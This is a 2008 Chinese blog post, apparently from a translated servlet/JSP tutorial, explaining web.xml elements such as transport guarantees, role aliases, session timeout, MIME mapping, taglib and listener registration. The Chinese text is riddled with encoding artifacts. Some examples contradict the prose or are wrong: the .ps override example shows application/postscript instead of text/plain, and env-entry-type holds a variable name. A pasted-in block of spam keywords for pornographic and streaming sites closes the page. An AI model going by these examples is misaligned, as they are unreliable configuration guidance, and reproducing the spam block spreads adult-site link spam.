    這 個(gè)可選的元素指出在訪問(wèn)相關(guān)資源時(shí)使用任何傳輸層保護(hù)。它必須包含一個(gè)transport-guarantee子元素(合法值為NONE、 INTEGRAL或CONFIDENTIAL),并且可選地包含一個(gè)description元素。transport-guarantee為NONE值將 對(duì)所用的通訊協(xié)議不加限制。INTEGRAL值表示數(shù)據(jù)必須以一種防止截取它的人閱讀它的方式傳送。雖然原理上(并且在未來(lái)的HTTP版本中),在 INTEGRAL和CONFIDENTIAL之間可能會(huì)有差別,但在當(dāng)前實(shí)踐中,他們都只是簡(jiǎn)單地要求用SSL。例如,下面指示服務(wù)器只允許對(duì)相關(guān)資源做 HTTPS連接:
    <security-constraint>
    <!-- ... -->
    <user-data-constraint>
    <transport-guarantee>CONFIDENTIAL</transport-guarantee>
    </user-data-constraint>
    </security-constraint>
    l display-name
    security-constraint的這個(gè)很少使用的子元素給予可能由GUI工具使用的安全約束項(xiàng)一個(gè)名稱。
    9.3 分配角色名
    迄今為止,討論已經(jīng)集中到完全由容器(服務(wù)器)處理的安全問(wèn)題之上了。但servlet以及JSP頁(yè)面也能夠處理它們自己的安全問(wèn)題。
    例 如,容器可能允許用戶從bigwig或bigcheese角色訪問(wèn)一個(gè)顯示主管人員額外緊貼的頁(yè)面,但只允許bigwig用戶修改此頁(yè)面的參數(shù)。完成這種 更細(xì)致的控制的一種常見(jiàn)方法是調(diào)用HttpServletRequset的isUserInRole方法,并據(jù)此修改訪問(wèn)。
    Servlet的 security-role-ref子元素提供出現(xiàn)在服務(wù)器專用口令文件中的安全角色名的一個(gè)別名。例如,假如編寫(xiě)了一個(gè)調(diào)用 request.isUserInRole("boss")的servlet,但后來(lái)該servlet被用在了一個(gè)其口令文件調(diào)用角色manager而不 是boss的服務(wù)器中。下面的程序段使該servlet能夠使用這兩個(gè)名稱中的任何一個(gè)。
    <servlet>
    <!-- ... -->
    <security-role-ref>
    <role-name>boss</role-name> <!-- New alias -->
    <role-link>manager</role-link> <!-- Real name -->
    </security-role-ref>
    </servlet>
    也可以在web-app內(nèi)利用security-role元素提供將出現(xiàn)在role-name元素中的所有安全角色的一個(gè)全局列表。分別地生命角色使高級(jí)IDE容易處理安全信息。

    10 控制會(huì)話超時(shí)

    如 果某個(gè)會(huì)話在一定的時(shí)間內(nèi)未被訪問(wèn),服務(wù)器可把它扔掉以節(jié)約內(nèi)存。可利用HttpSession的setMaxInactiveInterval方法直接 設(shè)置個(gè)別會(huì)話對(duì)象的超時(shí)值。如果不采用這種方法,則缺省的超時(shí)值由具體的服務(wù)器決定。但可利用session-config和session- timeout元素來(lái)給出一個(gè)適用于所有服務(wù)器的明確的超時(shí)值。超時(shí)值的單位為分鐘,因此,下面的例子設(shè)置缺省會(huì)話超時(shí)值為三個(gè)小時(shí)(180分鐘)。
    <session-config>
    <session-timeout>180</session-timeout>
    </session-config>

    11 Web應(yīng)用的文檔化

    越 來(lái)越多的開(kāi)發(fā)環(huán)境開(kāi)始提供servlet和JSP的直接支持。例子有Borland Jbuilder Enterprise Edition、Macromedia UltraDev、Allaire JRun Studio(寫(xiě)此文時(shí),已被Macromedia收購(gòu))以及IBM VisuaAge for Java等。
    大量的web.xml元素不僅是為服務(wù)器設(shè)計(jì)的,而且還是為可視開(kāi)發(fā)環(huán)境設(shè)計(jì)的。它們包括icon、display-name和discription等。
    可回憶一下,在web.xml內(nèi)以適當(dāng)?shù)卮涡蚵暶鱳eb-app子元素很重要。不過(guò),這里只要記住icon、display-name和description是web.xml的web-app元素內(nèi)的前三個(gè)合法元素即可。
    l icon
    icon元素指出GUI工具可用來(lái)代表Web應(yīng)用的一個(gè)和兩個(gè)圖像文件。可利用small-icon元素指定一幅16 x 16的GIF或JPEG圖像,用large-icon元素指定一幅32 x 32的圖像。下面舉一個(gè)例子:
    <icon>
    <small-icon>/images/small-book.gif</small-icon>
    <large-icon>/images/tome.jpg</large-icon>
    </icon>
    l display-name
    display-name元素提供GUI工具可能會(huì)用來(lái)標(biāo)記此Web應(yīng)用的一個(gè)名稱。下面是個(gè)例子。
    <display-name>Rare Books</display-name>
    l description
    description元素提供解釋性文本,如下所示:
    <description>
    This Web application represents the store developed for
    rare-books.com, an online bookstore specializing in rare
    and limited-edition books.
    </description>

    12 關(guān)聯(lián)文件與MIME類型

    服 務(wù)器一般都具有一種讓W(xué)eb站點(diǎn)管理員將文件擴(kuò)展名與媒體相關(guān)聯(lián)的方法。例如,將會(huì)自動(dòng)給予名為mom.jpg的文件一個(gè)image/jpeg的MIME 類型。但是,假如你的Web應(yīng)用具有幾個(gè)不尋常的文件,你希望保證它們?cè)诎l(fā)送到客戶機(jī)時(shí)分配為某種MIME類型。mime-mapping元素(具有 extension和mime-type子元素)可提供這種保證。例如,下面的代碼指示服務(wù)器將application/x-fubar的MIME類型分 配給所有以.foo結(jié)尾的文件。
    <mime-mapping>
    <extension>foo</extension>
    <mime-type>application/x-fubar</mime-type>
    </mime-mapping>
    或許,你的Web應(yīng)用希望重載(override)標(biāo)準(zhǔn)的映射。例如,下面的代碼將告訴服務(wù)器在發(fā)送到客戶機(jī)時(shí)指定.ps文件作為純文本(text/plain)而不是作為PostScript(application/postscript)。
    <mime-mapping>
    <extension>ps</extension>
    <mime-type>application/postscript</mime-type>
    </mime-mapping>


    13 定位TLD

    JSP taglib元素具有一個(gè)必要的uri屬性,它給出一個(gè)TLD(Tag Library Descriptor)文件相對(duì)于Web應(yīng)用的根的位置。TLD文件的實(shí)際名稱在發(fā)布新的標(biāo)簽庫(kù)版本時(shí)可能會(huì)改變,但我們希望避免更改所有現(xiàn)有JSP頁(yè) 面。此外,可能還希望使用保持taglib元素的簡(jiǎn)練性的一個(gè)簡(jiǎn)短的uri。這就是部署描述符文件的taglib元素派用場(chǎng)的所在了。Taglib包含兩 個(gè)子元素:taglib-uri和taglib-location。taglib-uri元素應(yīng)該與用于JSP taglib元素的uri屬性的東西相匹配。Taglib-location元素給出TLD文件的實(shí)際位置。例如,假如你將文件chart-tags- 1.3beta.tld放在WebApp/WEB-INF/tlds中。現(xiàn)在,假如web.xml在web-app元素內(nèi)包含下列內(nèi)容。
    <taglib>
    <taglib-uri>/charts.tld</taglib-uri>
    <taglib-location>
    /WEB-INF/tlds/chart-tags-1.3beta.tld
    </taglib-location>
    </taglib>
    給出這個(gè)說(shuō)明后,JSP頁(yè)面可通過(guò)下面的簡(jiǎn)化形式使用標(biāo)簽庫(kù)。
    <%@ taglib uri="/charts.tld" prefix="somePrefix" %>

    14 指定應(yīng)用事件監(jiān)聽(tīng)程序

    應(yīng)用事件監(jiān)聽(tīng)器程序是建立或修改servlet環(huán)境或會(huì)話對(duì)象時(shí)通知的類。它們是servlet規(guī)范的版本2.3中的新內(nèi)容。這里只簡(jiǎn)單地說(shuō)明用來(lái)向Web應(yīng)用注冊(cè)一個(gè)監(jiān)聽(tīng)程序的web.xml的用法。
    注冊(cè)一個(gè)監(jiān)聽(tīng)程序涉及在web.xml的web-app元素內(nèi)放置一個(gè)listener元素。在listener元素內(nèi),listener-class元素列出監(jiān)聽(tīng)程序的完整的限定類名,如下所示:
    <listener>
    <listener-class>package.ListenerClass</listener-class>
    </listener>
    雖 然listener元素的結(jié)構(gòu)很簡(jiǎn)單,但請(qǐng)不要忘記,必須正確地給出web-app元素內(nèi)的子元素的次序。listener元素位于所有的servlet 元素之前以及所有filter-mapping元素之后。此外,因?yàn)閼?yīng)用生存期監(jiān)聽(tīng)程序是serlvet規(guī)范的2.3版本中的新內(nèi)容,所以必須使用 web.xml DTD的2.3版本,而不是2.2版本。
    例如,程序清單5-20給出一個(gè)名為ContextReporter的簡(jiǎn)單的監(jiān)聽(tīng)程序, 只要Web應(yīng)用的Servlet-Context建立(如裝載Web應(yīng)用)或消除(如服務(wù)器關(guān)閉)時(shí),它就在標(biāo)準(zhǔn)輸出上顯示一條消息。程序清單5-21給 出此監(jiān)聽(tīng)程序注冊(cè)所需要的web.xml文件的一部分。

    程序清單5-20 ContextReporterjava
    package moreservlets;

    import javax.servlet.*;
    import java.util.*;

    /** Simple listener that prints a report on the standard output
    * when the ServletContext is created or destroyed.
    * <P>
    * Taken from More Servlets and JavaServer Pages
    * from Prentice Hall and Sun Microsystems Press,
    * http://www.moreservlets.com/.
    * ? 2002 Marty Hall; may be freely used or adapted.
    */

    public class ContextReporter implements ServletContextListener {
    public void contextInitialized(ServletContextEvent event) {
    System.out.println("Context created on " +
    new Date() + ".");
    }

    public void contextDestroyed(ServletContextEvent event) {
    System.out.println("Context destroyed on " +
    new Date() + ".");
    }
    }


    程序清單5-21 web.xml(聲明一個(gè)監(jiān)聽(tīng)程序的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <filter-mapping> … </filter-mapping>
    <listener>
    <listener-class>package.ListenerClass</listener-class>
    </listener>
    <servlet> ... </servlet>
    <!-- ... -->
    </web-app>


    15 J2EE元素

    本節(jié)描述用作J2EE環(huán)境組成部分的Web應(yīng)用的web.xml元素。這里將提供一個(gè)簡(jiǎn)明的介紹,詳細(xì)內(nèi)容可以參閱http://java.sun.com/j2ee/j2ee-1_3-fr-spec.pdf的Java 2 Plantform Enterprise Edition版本1.3規(guī)范的第5章。
    l distributable
    distributable 元素指出,Web應(yīng)用是以這樣的方式編程的:即,支持集群的服務(wù)器可安全地在多個(gè)服務(wù)器上分布Web應(yīng)用。例如,一個(gè)可分布的應(yīng)用必須只使用 Serializable對(duì)象作為其HttpSession對(duì)象的屬性,而且必須避免用實(shí)例變量(字段)來(lái)實(shí)現(xiàn)持續(xù)性。distributable元素直 接出現(xiàn)在discription元素之后,并且不包含子元素或數(shù)據(jù),它只是一個(gè)如下的標(biāo)志。
    <distributable />
    l resource-env-ref
    resource -env-ref元素聲明一個(gè)與某個(gè)資源有關(guān)的管理對(duì)象。此元素由一個(gè)可選的description元素、一個(gè)resource-env-ref- name元素(一個(gè)相對(duì)于java:comp/env環(huán)境的JNDI名)以及一個(gè)resource-env-type元素(指定資源類型的完全限定的 類),如下所示:
    <resource-env-ref>
    <resource-env-ref-name>
    jms/StockQueue
    </resource-env-ref-name>
    <resource-env-ref-type>
    javax.jms.Queue
    </resource-env-ref-type>
    </resource-env-ref>
    l env-entry
    env -entry元素聲明Web應(yīng)用的環(huán)境項(xiàng)。它由一個(gè)可選的description元素、一個(gè)env-entry-name元素(一個(gè)相對(duì)于java: comp/env環(huán)境JNDI名)、一個(gè)env-entry-value元素(項(xiàng)值)以及一個(gè)env-entry-type元素(java.lang程序 包中一個(gè)類型的完全限定類名,java.lang.Boolean、java.lang.String等)組成。下面是一個(gè)例子:
    <env-entry>
    <env-entry-name>minAmout</env-entry-name>
    <env-entry-value>100.00</env-entry-value>
    <env-entry-type>minAmout</env-entry-type>
    </env-entry>
    l ejb-ref
    ejb -ref元素聲明對(duì)一個(gè)EJB的主目錄的應(yīng)用。它由一個(gè)可選的description元素、一個(gè)ejb-ref-name元素(相對(duì)于java: comp/env的EJB應(yīng)用)、一個(gè)ejb-ref-type元素(bean的類型,Entity或Session)、一個(gè)home元素(bean的主 目錄接口的完全限定名)、一個(gè)remote元素(bean的遠(yuǎn)程接口的完全限定名)以及一個(gè)可選的ejb-link元素(當(dāng)前bean鏈接的另一個(gè) bean的名稱)組成。
    l ejb-local-ref
    ejb-local-ref元素聲明一個(gè)EJB的本地主目錄的引用。除了用local-home代替home外,此元素具有與ejb-ref元素相同的屬性并以相同的方式使用。

    posted @ 2008-08-23 13:17 Fighter 閱讀(1083) | 評(píng)論 (1)編輯 收藏

    主站蜘蛛池模板: 四虎精品免费永久免费视频| 亚洲色在线无码国产精品不卡| 亚洲中文字幕无码永久在线 | 亚洲欧美第一成人网站7777| 看免费毛片天天看| 亚洲免费观看视频| 成全影视免费观看大全二| 亚洲国产综合无码一区二区二三区 | 亚洲乱码中文字幕手机在线| 国产亚洲福利一区二区免费看| 四虎影在线永久免费观看| 亚洲第一AAAAA片| 亚洲AV无码一区二区三区性色| 18禁在线无遮挡免费观看网站| 国产一卡2卡3卡4卡2021免费观看 国产一卡2卡3卡4卡无卡免费视频 | 精品韩国亚洲av无码不卡区| 99视频精品全部免费观看| 在线免费观看韩国a视频| 亚洲AV中文无码乱人伦下载| 在线视频亚洲一区| 亚洲?V无码乱码国产精品| 亚洲乱码一区二区三区国产精品| 国内永久免费crm系统z在线| 亚洲视频在线视频| 一级做受视频免费是看美女| 青青草国产免费久久久下载| 亚洲一区免费在线观看| 国产啪精品视频网站免费尤物| 亚洲成人在线电影| 免费成人在线视频观看| 亚洲国产品综合人成综合网站| 91精品免费高清在线| 亚洲国产无套无码av电影| 免费的黄网站男人的天堂 | 处破女第一次亚洲18分钟| 亚洲精品无码久久久影院相关影片 | 中文字幕无码日韩专区免费| 精品日韩99亚洲的在线发布| MM131亚洲国产美女久久| 猫咪免费人成网站在线观看入口| 国产精品免费视频一区|